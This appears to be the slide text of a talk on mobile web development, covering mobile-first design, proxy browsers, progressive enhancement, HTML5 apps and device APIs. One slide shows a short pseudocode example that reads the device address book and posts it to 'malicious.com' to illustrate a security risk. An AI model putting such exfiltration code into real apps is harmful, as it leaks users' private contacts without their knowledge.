mobile first
Mobile First!
  • Design your sites for mobile first.
  • You’ll be forced to decide what is so important that it MUST be shown in the mobile device’s tiny display.
  • The things you leave out of the mobile version don’t really need to be in the desktop version, either.

Proxy browsers

Proxy browsers
  • Page is downloaded to and rendered on a specialised server.
  • A highly compressed image is sent to the client.
  • Advantage: cheap, both in device and in network costs
  • Disadvantage: no client-side interactivity
browser stats
Browser stats
  • Those are GLOBAL stats; they are not necessarily correct for the sites you’re working on. Always check your stats.
  • Social media referrals cause disproportionate iPhone visits; and Android to a lesser degree.

progressive enhancement
Progressive enhancement

How do you deal with this immense amount of browsers?

Use advanced tricks, but make sure your site remains usable without them.

The site is enhanced as much as the browser allows.

HTML

All browsers support HTML. That’s the definition

of a browser.

Basic CSS

HTML

All browsers support most basic CSS. There will be bugs, but only few.

Advanced CSS

HTML

Advanced CSS is restricted to advanced browsers. Make sure it contains nothing vital; just nice extras.

All browsers support basic JavaScript, but they can be slow. Maybe switch off in BB5 and lower.

Advanced JavaScript is a problem. Feature detection is your friend. Make sure it contains nothing vital.

How long does it take to generate 250 lists with 20 items each?

The following graphs give the number of seconds it took the browsers.

HTML5
  • Which browsers support HTML5?
  • It depends.
  • HTML5 is mainly a marketing buzzword.
  • That’s not bad; we need it.
  • But it has no technical meaning.
html5 apps
HTML5 apps
  • One core app written in HTML, CSS, and JavaScript.
  • Deployed to several mobile platforms.
  • Ideally, CSS and JavaScript are stored on the device.
  • If it can't be deployed it's still a website.

Symbian

Windows Mobile

I’ve done it. In April 2009.

device apis
Device APIs
  • Native apps offer device APIs.
  • They allow you to access the camera, accelerometer, SMS, file system, etc.
  • Web apps will have to offer them, too.

device.phone.call(device.addressBook['mom'])‏

device apis33
Device APIs

var ab = device.addressBook.toString();

sendRequest(POST,'malicious.com',ab);

There’s a serious security problem here.

Providing trusted apps might remain an app store function.

summary
Summary
  • Mobile First! Design for mobile, and your desktop site will become better, too.
  • Use progressive enhancement. Lots of it. It will keep you sane.
  • Know which browsers to develop for.
